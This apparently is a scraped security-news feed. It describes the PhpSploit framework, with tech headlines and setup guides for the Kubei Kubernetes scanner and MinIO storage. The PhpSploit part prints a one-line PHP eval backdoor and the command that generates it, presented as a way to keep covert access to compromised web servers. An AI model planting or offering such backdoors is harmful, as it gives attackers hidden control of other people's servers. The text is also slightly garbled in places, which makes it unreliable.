▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑what is PhpSploit ?

1) PhpSploit is a remote control framework that aims to provide a covert interactive connection, over HTTP, similar to a shell between a client and a web server.

2) It is a follow-up tool capable of maintaining access to a compromised web server for privilege escalation. A fully functional C2 framework that is invisibly stored on a web server as a one-liner backdoor in PHP

3) When you run PhpSploit and generate a standard backdoor for hosting in WordPress or PHP code, the following line will be created, which is a full-fledged backdoor:

<? php @eval ($ _ SERVER ['HTTP_PHPSPL01T']); ?>

4) The above code can be generated by running the following command:

phpsploit --interactive --eval "backdoor"

5) Just one find, ClamAV detects the backdoor as Php.Trojan.PhpSploit-7157376-0.

If we then run phpsploit again and set another PASSKEY like this:

set PASSKEY xy...


▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Launch of 5G To-C and 5G To-B, a medium to long-term ZTE strategy
#Analytiques

Overview of common Android app vulnerabilities reported through the Google Play Security Rewards Program ● Explicitly not an attempt at creating a complete audit guide ○ Focused only to vulnerabilities in scope for our bug bounty ● For each vulnerability present ○ Overview ○ Auditing tips ○ Remediation tips ○ Bug bounty pay-out ○ CWE ID (Common Weakness Enumeration) and other resources

Apple's "chip dream" evaporates Qualcomm 85 billion. Who will be the next supplier to be eliminated?
#Technologies

Behind recycled lithium batteries, the profiteering industry: The recycling market alone hits 117.8 billion
#international

Postemobile: the latest offerings are fantastic indeed.
#Updates

Goodbye 3G : hundreds of antennas turned off by Tim, WindTre and Vodafone.
#Updates

Whatsapp: Here are a few things that you really didn't hear about.
#international

Russia vs. US, Intel, fake Bitcoin.
#Malwares

Russian hackers have been in and out of the US Treasury and Commerce Departments for over a year.
#CyberAttacks

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑☸️ How to test a Kubernetes cluster for vulnerabilities?

1) ubei is a vulnerability scanning tool that allows users to get an accurate and immediate risk assessment of their Kubernetes clusters.

2) Kubei scans all images that are in use in the Kubernetes cluster, including application and system pods images.

3) It does not scan image registries and does not require prior integration with CI / CD pipelines.

4) It is a customizable tool that allows users to determine the scope of the scan (target namespaces), speed and level of interest.

5) The tool also provides a graphical interface that allows an administrator to determine where and what should be replaced in order to mitigate the impact of discovered vulnerabilities.

6) Requirements
The Kubernetes cluster is already up and running and kubeconfig (~ / .kube / config) is correctly configured on the target cluster.
And use

7) Run the following command to deploy Kubei to the cluster:

kubectl apply -f https://raw.githubusercontent.com/Portshift/kubei/master/deploy/kubei.yaml

8) Run the following command to make sure Kubei is up and running:

kubectl -n kubei get pod -lapp=kubei



9) Then forward the port to the Kubei web app with the following command:
kubectl -n kubei port-forward $(kubectl -n kubei get pods -lapp=kubei -o jsonpath='{.items[0].metadata.name}') 8080

☸️ How to use port forwarding in containers deployed in a Kubernetes cluster

In your browser, go to http: // localhost: 8080 / view / and then click GO to start the scan.

To check the status of Kubei and the progress of the current scan, run the following command:

kubectl -n kubei logs $(kubectl -n kubei get pods -lapp=kubei -o jsonpath='{.items[0].metadata.name}')

Refresh the page (http: // localhost: 8080 / view /) to update the results.
]

If some pods are stuck in Waiting status, you can solve this error with:

kubectl -n kubei port-forward $(kubectl -n kubei get pods -lapp=kubei -o jsonpath='{.items[0].metadata.name}') 8080

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

"10x programmer" that changes the world with PayPal, Facebook, and software.
#international

Your corporate network is changed by SASE, SDP, SD-WAN, Zero Trust
#Updates

Transphorm GaN FET for EV was released with a 25 percent lower loss than SiC.
#Technologies

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Exploring MinIO - High Performance Standalone Object Storage, S3 Compatible :

Let's take a look at some of the features worth paying attention to.
High performance! Minio is capable of reading / writing at ~ 170GB / s. It's a lot!
Scalability - use clustering and scale as needed
Cloud-native
Data protection using the Erasure code method
Multiple encryption supported, including AES-CBC, AES-256-GCM, ChaCha20
Compatible with regular KMS
Event notification
Compatible with etcd and CoreDNS
MinIO is a good choice for software-distributed storage.
Let's see how to set it up.

1) Installing the MinIO server
You can install it on Linux, Windows, macOS, and via Kubernetes.

Prefer to build from source?

Of course you can, if you have Golang installed.

2) Login to server
Create a folder on the desired file system. For example minio-server

3) Go to the newly created folder and run the below wget command.

> wget https://dl.min.io/server/minio/release/linux-amd64/minio
The system will load the binary and this file should look like this:
-rw-r--r-- 1 root root 48271360 Oct 18 21:57 minio

4) Make the file executable with chmod command

chmod 755 minio

5) Let's run MinIO as a server.

./minio server /data &
/ data , mentioned above, is the filesystem that MinIO will store objects in.

6) Startup is fast and you should see information like this:

Endpoint: http://xx.71.141.xx:9000 http://127.0.0.1:9000
AccessKey: minioadmin
SecretKey: minioadmin

7) Browser Access:
http://xx.71.141.xx:9000 http://127.0.0.1:9000

8) Command-line Access: https://docs.min.io/docs/minio-client-quickstart-guide
$ mc alias set myminio http://xx.71.141.xx:9000 minioadmin minioadmin

9) Object API (Amazon S3 compatible):
Go: https://docs.min.io/docs/golang-client-quickstart-guide
Java: https://docs.min.io/docs/java-client-quickstart-guide
Python: https://docs.min.io/docs/python-client-quickstart-guide
JavaScript: https://docs.min.io/docs/javascript-client-quickstart-guide
.NET: https://docs.min.io/docs/dotnet-client-quickstart-guide

10) Detected default credentials 'minioadmin:minioadmin', please change the credentials immediately using 'MINIO_ACCESS_KEY' and 'MINIO_SECRET_KEY'

11) Let's log into MinIO through a browser with the default credentials - minioadmin: minioadmin
The interface is very neat and simple, but first of all, let's change the default credentials as this puts the risk of tampering.

12) To change the default MinIO credentials, we will export the passkey and private key as shown below and run MinIO.
export MINIO_ACCESS_KEY=itsecforu
export MINIO_SECRET_KEY=itsecpassword
./minio server /data &

13) Now it shouldn't complain and issue a warning about the detection of default credentials.

Let's try to upload files.

14) Click the + icon in the bottom right corner and create a bucket
I
15) have uploaded a test file and it is immediately visible in the browser


and on the server :

ls -ltr
total 4
-rw-r--r-- 1 root root 11 Oct 19 11:09 MinIO-Test.txt

16) If you click the share button for a file in your browser, you will receive a share link and an option to set an expiration date.
MinIO client
The MinIO client is more than just aws-cli that allows you to manage storage.

17) The client is available for Windows, macOS and Linux.

To install on Linux, run the following:

wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod 755 mc
Run the mc command to see the command help.

/mc
NAME:
mc - MinIO Client for cloud storage and filesystems.
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Intel-owned artificial intelligence processor company infected with Pay-to-Key ransomware.
#Technologies

The new lunar landing proposal by NASA outlines seven science priorities and intends to establish a lunar base camp.
#international